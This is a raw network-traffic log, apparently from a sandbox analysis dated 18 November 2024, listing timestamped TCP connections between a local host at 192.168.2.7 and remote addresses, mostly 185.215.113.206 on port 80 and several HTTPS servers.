Nov 18, 2024 08:55:47.066277981 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066293955 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066297054 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066307068 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066309929 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066328049 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066339970 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066346884 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066363096 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066370010 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066389084 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066396952 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066406012 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066409111 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066420078 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066426992 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066431999 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066445112 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066448927 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066462994 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066474915 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066484928 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066485882 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066502094 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066512108 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066529036 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066529989 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066541910 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066545010 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066556931 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066575050 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066576958 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066576958 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066587925 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066592932 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066601038 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066612005 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066627979 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066627979 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066627979 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066652060 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066663027 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066669941 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066683054 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066683054 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066694975 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066701889 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066708088 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066724062 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066728115 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066735983 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066747904 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066756964 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066766024 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066773891 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066776991 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066788912 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066797018 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066800117 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066811085 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066822052 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066823006 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066837072 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066853046 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066854000 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066869974 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066870928 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066879988 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066890955 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066895008 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066901922 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066911936 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066912889 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066925049 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066931009 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066936016 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066946983 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066957951 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066957951 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066968918 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066977024 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066979885 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066991091 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066992998 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067004919 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067018032 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.067018032 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067028046 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067034006 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067042112 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.067044973 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067058086 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067066908 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.067070007 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067080975 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067084074 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.067092896 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067102909 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067115068 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067121029 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.067125082 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067137957 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067145109 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.067148924 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067159891 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067161083 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.067171097 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067182064 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067187071 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.067195892 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067205906 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067214966 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.067218065 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067228079 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067231894 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.067240000 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067250967 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067259073 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.067261934 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067272902 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067286015 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.067286015 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067296982 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067305088 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.067308903 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067326069 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.067338943 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067346096 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.067349911 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067359924 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067372084 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.067373037 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.067398071 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.067423105 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.067781925 CET	49923	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:47.067800999 CET	443	49923	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:47.075679064 CET	443	49932	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.077430964 CET	443	49934	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.078104973 CET	443	49933	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.131414890 CET	443	49931	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.136328936 CET	49934	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.144074917 CET	49924	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:47.144107103 CET	443	49924	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:47.164989948 CET	49928	443	192.168.2.7	20.96.153.111
Nov 18, 2024 08:55:47.165208101 CET	443	49928	20.96.153.111	192.168.2.7
Nov 18, 2024 08:55:47.193075895 CET	49928	443	192.168.2.7	20.96.153.111
Nov 18, 2024 08:55:47.212399006 CET	49879	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:47.212429047 CET	443	49879	40.126.31.69	192.168.2.7
Nov 18, 2024 08:55:47.217746973 CET	49932	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.217746973 CET	49934	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.217770100 CET	443	49932	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.217780113 CET	443	49934	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.218094110 CET	49933	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.218147039 CET	443	49933	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.218507051 CET	49933	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.218521118 CET	443	49933	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.218667030 CET	49934	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.218672991 CET	443	49934	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.219249010 CET	49932	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.219253063 CET	443	49932	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.219517946 CET	49931	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.219542980 CET	443	49931	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.219849110 CET	49931	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.219855070 CET	443	49931	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.229176044 CET	49927	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:47.229196072 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:47.235335112 CET	443	49928	20.96.153.111	192.168.2.7
Nov 18, 2024 08:55:47.238964081 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:47.238993883 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:47.346992016 CET	443	49935	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.414226055 CET	49935	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.414267063 CET	443	49935	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.414719105 CET	49935	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.414731979 CET	443	49935	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.427711010 CET	49939	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:47.427741051 CET	443	49939	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:47.428313017 CET	49939	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:47.431876898 CET	49939	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:47.431890965 CET	443	49939	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:47.433710098 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.438841105 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.464042902 CET	443	49934	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.464078903 CET	443	49934	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.464147091 CET	443	49934	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.464148998 CET	49934	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.464184999 CET	49934	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.464679956 CET	443	49933	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.464771032 CET	443	49933	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.464834929 CET	49933	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.466128111 CET	443	49932	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.466156006 CET	443	49932	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.466207981 CET	443	49932	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.466212034 CET	49932	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.466255903 CET	49932	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.467804909 CET	49934	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.467830896 CET	443	49934	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.467844009 CET	49934	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.467850924 CET	443	49934	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.469295025 CET	49933	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.469331026 CET	443	49933	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.470428944 CET	49932	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.470453978 CET	443	49932	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.470467091 CET	49932	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.470473051 CET	443	49932	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.477286100 CET	49941	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.477328062 CET	443	49941	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.477423906 CET	49941	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.481865883 CET	49942	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.481933117 CET	443	49942	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.482053995 CET	49942	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.488636971 CET	443	49931	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.488713980 CET	443	49931	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.488923073 CET	49931	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.490195036 CET	49943	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.490230083 CET	443	49943	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.490374088 CET	49943	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.490688086 CET	49941	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.490708113 CET	443	49941	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.491209984 CET	49942	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.491267920 CET	443	49942	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.492501974 CET	49931	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.492501974 CET	49931	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.492516041 CET	443	49931	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.492525101 CET	443	49931	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.498986959 CET	49944	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.499023914 CET	443	49944	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.499094009 CET	49944	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.499290943 CET	49944	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.499320984 CET	443	49944	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.499557972 CET	49943	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.499587059 CET	443	49943	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.523528099 CET	443	49928	20.96.153.111	192.168.2.7
Nov 18, 2024 08:55:47.523552895 CET	443	49928	20.96.153.111	192.168.2.7
Nov 18, 2024 08:55:47.523628950 CET	49928	443	192.168.2.7	20.96.153.111
Nov 18, 2024 08:55:47.523653984 CET	443	49928	20.96.153.111	192.168.2.7
Nov 18, 2024 08:55:47.533775091 CET	49928	443	192.168.2.7	20.96.153.111
Nov 18, 2024 08:55:47.533890009 CET	443	49928	20.96.153.111	192.168.2.7
Nov 18, 2024 08:55:47.533989906 CET	49928	443	192.168.2.7	20.96.153.111
Nov 18, 2024 08:55:47.542598009 CET	443	49935	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.542675018 CET	443	49935	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.542782068 CET	49935	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.550851107 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.553930044 CET	49935	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.553963900 CET	443	49935	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.553977966 CET	49935	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.553987980 CET	443	49935	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.559546947 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:47.559570074 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.560045958 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.563601017 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:47.563679934 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.576092005 CET	49945	443	192.168.2.7	23.218.224.5
Nov 18, 2024 08:55:47.576133966 CET	443	49945	23.218.224.5	192.168.2.7
Nov 18, 2024 08:55:47.576338053 CET	49945	443	192.168.2.7	23.218.224.5
Nov 18, 2024 08:55:47.577027082 CET	49946	443	192.168.2.7	23.218.224.5
Nov 18, 2024 08:55:47.577059031 CET	443	49946	23.218.224.5	192.168.2.7
Nov 18, 2024 08:55:47.577310085 CET	49946	443	192.168.2.7	23.218.224.5
Nov 18, 2024 08:55:47.577721119 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:47.577866077 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:47.577884912 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.578275919 CET	49947	443	192.168.2.7	204.79.197.219
Nov 18, 2024 08:55:47.578285933 CET	443	49947	204.79.197.219	192.168.2.7
Nov 18, 2024 08:55:47.578346014 CET	49947	443	192.168.2.7	204.79.197.219
Nov 18, 2024 08:55:47.579344034 CET	49945	443	192.168.2.7	23.218.224.5
Nov 18, 2024 08:55:47.579355001 CET	443	49945	23.218.224.5	192.168.2.7
Nov 18, 2024 08:55:47.579783916 CET	49946	443	192.168.2.7	23.218.224.5
Nov 18, 2024 08:55:47.579808950 CET	443	49946	23.218.224.5	192.168.2.7
Nov 18, 2024 08:55:47.580122948 CET	49947	443	192.168.2.7	204.79.197.219
Nov 18, 2024 08:55:47.580142021 CET	443	49947	204.79.197.219	192.168.2.7
Nov 18, 2024 08:55:47.582669973 CET	49948	443	192.168.2.7	204.79.197.219
Nov 18, 2024 08:55:47.582700014 CET	443	49948	204.79.197.219	192.168.2.7
Nov 18, 2024 08:55:47.582941055 CET	49948	443	192.168.2.7	204.79.197.219
Nov 18, 2024 08:55:47.583184958 CET	49948	443	192.168.2.7	204.79.197.219
Nov 18, 2024 08:55:47.583200932 CET	443	49948	204.79.197.219	192.168.2.7
Nov 18, 2024 08:55:47.586970091 CET	49949	443	192.168.2.7	20.125.209.212
Nov 18, 2024 08:55:47.586997986 CET	443	49949	20.125.209.212	192.168.2.7
Nov 18, 2024 08:55:47.587069035 CET	49949	443	192.168.2.7	20.125.209.212
Nov 18, 2024 08:55:47.587810993 CET	49949	443	192.168.2.7	20.125.209.212
Nov 18, 2024 08:55:47.587822914 CET	443	49949	20.125.209.212	192.168.2.7
Nov 18, 2024 08:55:47.593879938 CET	49950	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.593909979 CET	443	49950	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.594079018 CET	49950	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.594453096 CET	49950	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:47.594471931 CET	443	49950	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:47.700490952 CET	49951	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:47.700520992 CET	443	49951	40.126.31.69	192.168.2.7
Nov 18, 2024 08:55:47.700786114 CET	49951	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:47.700939894 CET	49951	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:47.700948954 CET	443	49951	40.126.31.69	192.168.2.7
Nov 18, 2024 08:55:47.707899094 CET	49952	443	192.168.2.7	23.218.224.5
Nov 18, 2024 08:55:47.707933903 CET	443	49952	23.218.224.5	192.168.2.7
Nov 18, 2024 08:55:47.708019018 CET	49952	443	192.168.2.7	23.218.224.5
Nov 18, 2024 08:55:47.708318949 CET	49952	443	192.168.2.7	23.218.224.5
Nov 18, 2024 08:55:47.708338976 CET	443	49952	23.218.224.5	192.168.2.7
Nov 18, 2024 08:55:47.723571062 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.723582029 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.723594904 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.723628998 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.723644018 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.723670959 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.723685980 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.723700047 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.723711967 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.723723888 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.723751068 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.723776102 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.723786116 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.723788977 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.723798990 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.723813057 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.723825932 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.723839998 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.723948002 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.723958969 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.723968983 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.723979950 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.723999023 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.724019051 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.724127054 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724138021 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724148035 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724169970 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.724189043 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.724210978 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724255085 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.724265099 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724277020 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724315882 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.724348068 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724359035 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724369049 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724380970 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724387884 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.724415064 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.724453926 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724466085 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724478006 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724488974 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724498987 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.724508047 CET	49844	80	192.168.2.7	185.215.113.206
